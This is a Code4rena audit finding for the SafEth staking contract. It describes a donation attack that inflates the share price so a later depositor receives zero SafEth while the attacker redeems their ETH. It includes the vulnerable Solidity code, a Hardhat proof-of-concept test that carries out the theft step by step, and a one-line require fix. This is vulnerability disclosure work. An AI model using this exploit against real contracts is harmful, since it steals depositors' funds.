Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 225/246
Findings: 1
Award: $3.49
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: monrel
Also found by: 0xRajkumar, 0xfusion, AkshaySrivastav, Bahurum, Brenzee, Cryptor, Dug, Haipls, Koolex, Krace, MiloTruck, RaymondFam, RedTiger, ToonVH, Tricko, Vagner, aga7hokakological, anodaram, bart1e, bin2chen, bytes032, carrotsmuggler, ck, d3e4, giovannidisiena, igingu, juancito, mahdirostami, mert_eren, n33k, nemveer, parsely, pavankv, sashik_eth, shaka, sinarette, ulqiorra, yac
3.4908 USDC - $3.49
Users may not receive any SafEth in exchange for their ETH if the underlyingValue
has been manipulated through a "donation" by an attacker. An attacker could steal other users' ETH directly.
The amount of SafEth minted is calculated based on two numbers: totalStakeValueEth
and preDepositPrice
.
If we can construct a large preDepositPrice
, the minted amount could be zero due to the loss of precision.
Unfortunately, preDepositPrice
is calculated based on the derivatives
's ethPerDerivative
and balance
. We could control its value by directly call submitAndDeposit
of derivatives[1]
(sfrxEth). This will make preDepositPrice
pretty large, and the minted amount mintAmount
will be zero.
uint256 underlyingValue = 0; // Getting underlying value in terms of ETH for each derivative for (uint i = 0; i < derivativeCount; i++) underlyingValue += (derivatives[i].ethPerDerivative(derivatives[i].balance()) * derivatives[i].balance()) / 10 ** 18; uint256 totalSupply = totalSupply(); uint256 preDepositPrice; // Price of safETH in regards to ETH if (totalSupply == 0) preDepositPrice = 10 ** 18; // initializes with a price of 1 else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;
// mintAmount represents a percentage of the total assets in the system uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice; _mint(msg.sender, mintAmount);
function deposit() external payable onlyOwner returns (uint256) { IFrxETHMinter frxETHMinterContract = IFrxETHMinter( FRX_ETH_MINTER_ADDRESS ); uint256 sfrxBalancePre = IERC20(SFRX_ETH_ADDRESS).balanceOf( address(this) ); frxETHMinterContract.submitAndDeposit{value: msg.value}(address(this)); // this could be called directly uint256 sfrxBalancePost = IERC20(SFRX_ETH_ADDRESS).balanceOf( address(this) ); return sfrxBalancePost - sfrxBalancePre; }
Considering two users: User1 and User2
submitAndDeposit
to increase the second derivative's balance
and ethPerDerivative
. Here User1 calls submitAndDeposit
with 1 ETH. Now, User1 has spent 1ETH + 1Wei, although the 1Wei is SafEth.You can see the POC for more details, I simulate User1 and User2 with the adminAccount.
TEST POC
Insert this test into SafEth.test.ts
=> describe("Large Amounts", function ()
.
it.only("stake without safEth back ", async function () { const startingBalance = await adminAccount.getBalance(); console.log('starting balance ',startingBalance); const depositAmount = ethers.utils.parseEther(".5"); // user1 stake 0.5 ETH await safEthProxy.stake({ value: depositAmount }); // user1 unstake and left only 1wei SafEth ==> user1 spent 1 wei now var adminSafEth = await safEthProxy.balanceOf(adminAccount.address); await safEthProxy.unstake( adminSafEth.sub(1) ); // user1 directly transfer 1 ETH to IFrxETHMinter, to increase the balance of second derivative // ==> user1 spent 1ETH + 1 wei var sfrxAddr = await safEthProxy.derivatives(1); var frxETH = await ethers.getContractAt("IFrxETHMinter",'0xbAFA44EFE7901E04E39Dad13167D089C559c1138'); frxETH.submitAndDeposit(sfrxAddr,{value: ethers.utils.parseEther("1")}); var safethNow = await safEthProxy.totalSupply(); console.log('safETH before user2 stake ',safethNow); // simulate user2 stake 1 ETH // ==> user2 spent 1ETH but get nothing await safEthProxy.stake({ value: depositAmount }); safethNow = await safEthProxy.totalSupply(); console.log('safETH after user2 stake ',safethNow); //user1 unstake his safEth var lastBalance = await adminAccount.getBalance(); console.log('starting balance ',lastBalance); await safEthProxy.unstake('1'); var lastBalance1 = await adminAccount.getBalance(); console.log('starting balance after final unstake ',lastBalance1); // ==> user1 get almost 1.5ETH back => earn 0.5ETH console.log('user1 getback: ',lastBalance1.sub(lastBalance)); });
Hardhat
Ensure the number of safEth to be minted is not zero:
// mintAmount represents a percentage of the total assets in the system uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice; + require(mintAmount > 0, "zero safETH minted"); _mint(msg.sender, mintAmount);
#0 - c4-pre-sort
2023-04-04T12:47:28Z
0xSorryNotSorry marked the issue as duplicate of #715
#1 - c4-judge
2023-04-21T14:57:02Z
Picodes marked the issue as satisfactory